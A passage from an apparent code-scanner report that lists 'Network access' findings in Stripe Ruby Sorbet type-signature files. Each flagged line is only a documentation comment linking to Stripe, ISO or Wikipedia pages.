    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_create_params.rbi

  • Network accessline 266
    }       def features=(_features); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 267
    def features=(_features); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 268
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_update_params.rbi

  • Network accessline 294
    }       def forwarding_settings=(_forwarding_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a
  • Network accessline 295
    def forwarding_settings=(_forwarding_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 296
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_create_params.rbi

  • Network accessline 11
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 12
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 13
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 31
    sig { params(_financial_account: String).returns(String) }       def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for
  • Network accessline 32
    def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 33
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_create_params.rbi

  • Network accessline 14
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 34
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }             def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 35
    def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 36
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 133
    sig { params(_financial_account: T.nilable(String)).returns(T.nilable(String)) }         def financial_account=(_financial_account); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an obje
  • Network accessline 134
    def financial_account=(_financial_account); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 135
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 167
    class DestinationPaymentMethodOptions < ::Stripe::RequestParams         class UsBankAccount < ::Stripe::RequestParams           # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See
  • Network accessline 168
    class UsBankAccount < ::Stripe::RequestParams           # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) t
  • Network accessline 169
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
  • Network accessline 208
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 209
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 210
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 263
    sig { params(_financial_account: String).returns(String) }       def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for
  • Network accessline 264
    def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 265
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_create_params.rbi

  • Network accessline 22
    class DestinationPaymentMethodOptions < ::Stripe::RequestParams         class UsBankAccount < ::Stripe::RequestParams           # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See
  • Network accessline 23
    class UsBankAccount < ::Stripe::RequestParams           # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) t
  • Network accessline 24
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
  • Network accessline 49
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 50
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 51
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 92
    sig { params(_financial_account: String).returns(String) }       def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for
  • Network accessline 93
    def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 94
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/received_credit_create_params.rbi

  • Network accessline 52
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 53
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 54
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    }       def initiating_payment_method_details=(_initiating_payment_method_details); end       # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.co
  • Network accessline 82
    def initiating_payment_method_details=(_initiating_payment_method_details); end       # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasu
  • Network accessline 83
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/received_debit_create_params.rbi

  • Network accessline 52
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 53
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 54
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    }       def initiating_payment_method_details=(_initiating_payment_method_details); end       # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.co
  • Network accessline 82
    def initiating_payment_method_details=(_initiating_payment_method_details); end       # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasu
  • Network accessline 83
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_create_params.rbi

  • Network accessline 23
    # `value_settings.event_payload_key` (default is `value`). Read more about         # the         # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
  • Network accessline 24
    # the         # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).         sig { returns(T::Hash[String, String]) }
  • Network accessline 25
    # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_stream_create_params.rbi

  • Network accessline 24
    # `value_settings.event_payload_key` (default is `value`). Read more about           # the           # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
  • Network accessline 25
    # the           # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).           sig { returns(T::Hash[String, String]) }
  • Network accessline 26
    # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_create_params.rbi

  • Network accessline 144
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 145
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 146
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 268
    end             class Branding < ::Stripe::RequestParams               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 269
    class Branding < ::Stripe::RequestParams               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.               sig { returns(T.nilab
  • Network accessline 270
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 273
    sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) }               def icon=(_icon); end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used
  • Network accessline 274
    def icon=(_icon); end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if pro
  • Network accessline 275
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 1250
    def initialize(descriptor: nil, prefix: nil); end               end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get
  • Network accessline 1251
    end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de
  • Network accessline 1252
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1259
    }               def kana=(_kana); end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-de
  • Network accessline 1260
    def kana=(_kana); end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-ja
  • Network accessline 1261
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1294
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1295
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(String) }
  • Network accessline 1296
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1574
    def initialize(fees_collector: nil, losses_collector: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 1575
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(T.nilable(String)) }
  • Network accessline 1576
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1648
    end             class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri
  • Network accessline 1649
    class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co
  • Network accessline 1650
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1653
    sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all 
  • Network accessline 1654
    def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr
  • Network accessline 1655
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1658
    sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all t
  • Network accessline 1659
    def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe
  • Network accessline 1660
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1721
    def initialize(date: nil, ip: nil, user_agent: nil); end               end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1722
    end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).               sig {
  • Network accessline 1723
    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1798
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1799
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(String) }
  • Network accessline 1800
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1843
    class AnnualRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m
  • Network accessline 1844
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 1845
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1848
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 1849
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 1850
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1877
    class Documents < ::Stripe::RequestParams               class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat
  • Network accessline 1878
    class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.  
  • Network accessline 1879
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1891
    end               class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1892
    class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 1893
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1905
    end               class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account
  • Network accessline 1906
    class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.    
  • Network accessline 1907
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1919
    end               class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 1920
    class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 1921
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1933
    end               class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun
  • Network accessline 1934
    class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.   
  • Network accessline 1935
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1947
    end               class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 1948
    class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 1949
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1962
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 1963
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 1964
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1967
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 1968
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 1969
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1975
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1976
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 1977
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1995
    end               class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1996
    class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 1997
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2009
    end               class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen
  • Network accessline 2010
    class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               
  • Network accessline 2011
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2023
    end               class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc
  • Network accessline 2024
    class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2025
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2165
    class MonthlyEstimatedRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu
  • Network accessline 2166
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 2167
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2170
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 2171
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 2172
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2199
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2200
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(String) }
  • Network accessline 2201
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2248
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2249
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(String) }
  • Network accessline 2250
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2463
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2464
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(String) }
  • Network accessline 2465
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2544
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2545
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(String) }
  • Network accessline 2546
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2608
    class Documents < ::Stripe::RequestParams               class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with
  • Network accessline 2609
    class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.              
  • Network accessline 2610
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2622
    end               class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2623
    class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { ret
  • Network accessline 2624
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2637
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 2638
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 2639
